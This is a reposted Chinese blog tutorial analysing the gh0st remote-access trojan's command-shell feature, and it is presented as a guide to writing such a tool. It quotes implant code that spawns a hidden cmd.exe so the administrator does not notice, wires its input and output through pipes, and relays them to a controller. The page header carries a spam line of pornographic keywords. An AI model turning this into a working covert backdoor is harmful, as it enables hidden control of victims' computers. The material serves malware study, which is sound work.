日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

gh0st源码分析与远控的编写(三)

發布時間:2024/4/11 编程问答 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 gh0st源码分析与远控的编写(三) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


? ? 好久不見。距離上次寫gh0st來有好久了,一是期末考試,忙不開,二是后來電腦壞了,幾天沒能上網。

? ? 昨天總算是把電腦修好了,雖說沒到一切重頭開始的地步,但是也重裝各種東西花了很久。閑下來的時間,我就來繼續分析gh0st的源碼吧。

? ? 上次我們把gh0st的上線給研究了一下,跟著老狼的視頻,繼續我們的步伐。開始實現gh0st中具體的功能。最簡單的一個是“終端管理”,就是一個cmdshell。

? ? 什么是cmdshell,相當于是一個cmd命令行的后門,我在主控端中寫下cmd命令,然后傳給被控端,被控端執行后將結果再發給主控端。

? ? 這是整個遠控中比較簡單的部分,我們從被控端開始看起:(源碼在附件中可以下載)


? ? 在MainDll工程中,打開類視圖,找到CShellManager這個類,這就是我們“終端管理”功能用到的類。

? ? 在看代碼之前,我先說一下cmdshell的原理。為什么我們這個程序能執行cmd命令并且把執行結果得到并返回。這里用到管道技術,管道是為了進程間通信而存在的,如下圖:

????

? ? 我們在gh0st進程中,開啟一個cmd進程,并使用管道,向cmd.exe傳送信息,而cmd.exe也利用管道將信息發送給gh0st的進程。管道通信又分三種,雙管道、單管道與無管道。gh0st里面用的雙管道后門,也就是說,我們在gh0st.exe和cmd.exe之間建立了兩根傳輸數據的管道,原因可想而知:a管道接受gh0st的命令,并發送給cmd,b管道接受cmd的執行結果,并發送給gh0st。

? ? 理解了這個就方便了。首先看到它的構造函數:

01 if?(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeDll, &sa, 0))?//該管道為程序寫,cmd讀
02 {
03 ????CloseHandle(m_hReadPipeShell);
04 ????CloseHandle(m_hWritePipeDll);
05 ????return?;
06 }
07 ?
08 if?(!CreatePipe(&m_hReadPipeDll, &m_hWritePipeShell, &sa, 0))?//該管道為cmd寫,程序讀
09 {
10 ????CloseHandle(m_hReadPipeDll);
11 ????CloseHandle(m_hWritePipeShell);
12 }

? ? 創建了兩根管道,使用的API就是CreatePipe,m_hReadPipeShell其實就是一個句柄。CreatePipe這個API前兩個參數是該管道的讀句柄和寫句柄。讀句柄就是該管道的入口,寫句柄就是該管道的出口。管道這個名字很恰當,就像一根管子,數據從一個方向流入,從另一個方向流出。


? ? sa是安全屬性的一個結構,沒有太大作用,初始化一下傳入地址進去就行了。

? ? 再往下看,

01 //獲得當前程序的相關信息
02 GetStartupInfo(&si);
03 si.cb =?sizeof(STARTUPINFO);
04 si.wShowWindow = SW_HIDE;??//將進程屬性設置為隱藏,否則cmd一打開管理員就看到了
05 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
06 si.hStdInput = m_hReadPipeShell;?//將cmd讀、寫句柄賦值給該參數
07 si.hStdOutput = m_hWritePipeShell;
08 si.hStdError = m_hWritePipeShell;
09 ?
10 GetSystemDirectoryA(szShellPath, MAX_PATH);
11 strcat_s(szShellPath, MAX_PATH,?"\\cmd.exe");
12 ?
13 if?(!CreateProcess(szShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
14 {
15 ????CloseHandle(m_hReadPipeDll);
16 ????CloseHandle(m_hWritePipeDll);
17 ????CloseHandle(m_hReadPipeShell);
18 ????CloseHandle(m_hWritePipeShell);
19 ????return;
20 }

? ? 這部分實際上是在創建一個進程。創建cmd進程,使用的函數是CreateProccess,在創建進程之前,首先要設置一下該進程的屬性(使用到STARTUPINFO結構,)。GetStartupInfo(&si)就是獲取本進程的屬性。相當于用本進程的屬性初始化了cmd進程的屬性,然后再改一改,看看注釋就知道了。

? ? 到此,創建了一個進程(cmd.exe)和兩根管道了。然后我們可以看到,被控端執行了這一條命令:Send((LPBYTE)&bToken, 1); 發送了這個參數:TOKEN_SHELL_START給主控端。這就告訴主控端,一切就緒,可以開始使用了。

? ? 之后打開兩個線程,一個是讀取管道數據,一個是等待管道關閉。

? ? 看到讀取管道數據的線程,主要內容是一個死循環:

01 while?(true)
02 {
03 ????Sleep(100);
04 ????while?(PeekNamedPipe(pThis->m_hReadPipeDll, ReadBuffer,?sizeof(ReadBuffer),
05 ????????&ByteRead, &TotalByteAvail, NULL))
06 ????{
07 ????????if?(ByteRead <= 0)
08 ????????{
09 ????????????break;
10 ????????}
11 ????????ZeroMemory(&ByteRead,?sizeof(ByteRead));
12 ????????LPBYTE?lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalByteAvail);//LocalAlloc函數從堆中分配指定大小的區域
13 ????????//讀取管道內信息
14 ????????ReadFile(pThis->m_hReadPipeDll, lpBuffer, TotalByteAvail, &ByteRead, NULL);
15 ????????//發送數據
16 ????????pThis->Send(lpBuffer, TotalByteAvail);
17 ????????LocalFree(lpBuffer);
18 ????}
19 }
? ? 其中用到PeekNamedPipe這個API,它的作用就是向管道中看一眼,如果有數據則返回True,如果沒有則返回FALSE。也就是說,如果沒有數據,這個線程就一直在外部那個循環中,不停sleep。直到有數據就進入內部循環。ByteRead是數據的大小,如果它為0則表示cmd.exe已經關閉了,就break然后退到外層循環,再一直sleep。如果有內容我們就使用ReadFile讀取管道中內容,并Send到主控端去。


? ? 說到這里,有些人就要問了。你只說了怎么從管道里讀取內容發送給主控端,但我們被控端怎么從主控端接收內容并發送給管道呢?

? ? 上節課最后我們說了,“OnReceive函數在CManager中定義,但并未實現”。我們在這個文件中搜索一個OnRecieve,發現了它的實現:

01 void?CShellManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize)
02 {
03 ????if?(nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
04 ????{
05 ????????NotifyDialogIsOpen();
06 ????????return?;
07 ????}
08 ?
09 ????//將客戶端發來的信息傳入管道中
10 ????unsigned?long?ByteWrite;
11 ????WriteFile(m_hWritePipeDll, lpBuffer, nSize, &ByteWrite, NULL);
12 }

? ? 這就是面向對象的思想。我們所有的CXXXManager其實都是繼承的CManeger,而CManager中有這個函數,不過是一個虛函數,沒有具體代碼。而在我們每個的CXXXManager具體類中,就將其實現。


? ? 我們看看其代碼。實際上是判斷傳進來的消息,如果是COMMAND_NEXT,說明主控端執行完畢,被控端執行下一步。如果不是COMMAND_NEXT,說明發送來的信息是數據(命令)。我們就將發來的信息傳入管道。

? ? 被控端大致就是這些,我們再看主控端。主控端的一些界面的代碼我就不講了,大家有興趣可以自己看看。

????

? ? 主控端是這樣一個思路。首先,用戶點擊“終端管理”的按鈕,然后主控端向被控端發送一條消息,告訴被控端開始終端管理工作,然后被控端新建一個CShellManager類,在類的構造函數里創建兩個管道和一個cmd進程。并在最后發送一個TOKEN_SHELL_START命令給主控端(還記得嗎?),主控端接受到此命令后,便建立一個CShellDlg類,并打開相應對話框。

????在類視圖中找到CShellDlg這個類,這就是我們的遠程管理窗口的類。我們看到其構造函數中發送了一個COMMAND_NEXT給被控端,還記得我們剛才看的OnReceive函數嗎,那個if語句就是處理這個消息。就是告訴被控端,一切就緒。

????我們再打開CPhRemoteDlg類,找到其中的ProccessReceiveComplete函數,其中有一段:

1 case?SHELL_DLG:
2 ????((CShellDlg *)dlg)->OnReceiveComplete();
3 ????break;
? ? 就是調用了CShellDlg類中的OnRecieveComplete方法,意思就是接收到信息就調用這個方法。


? ? 找到這個方法,實際上就是將從socket接受的信息放入編輯框。

? ? 再看到PreTranslateMessage方法,它截獲一些消息,包括了按鍵的消息。注釋寫的很詳細,其實就是,當用戶按下回車時,將編輯框中所有文本都保存在字符串中,并減去上一次的長度,得到用戶新輸入的長內容,作為命令,發送出去。


? ? 其實主體內容就這么多,所以說cmdshell是gh0st中比較簡單的部分了。大家看了這篇文章,大概就知道gh0st源碼的一個運行過程了。其他的功能其實發送信息的過程也類似,互相確認一下執行是否成功,并開始發送、接收信息。

總結

以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(三)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。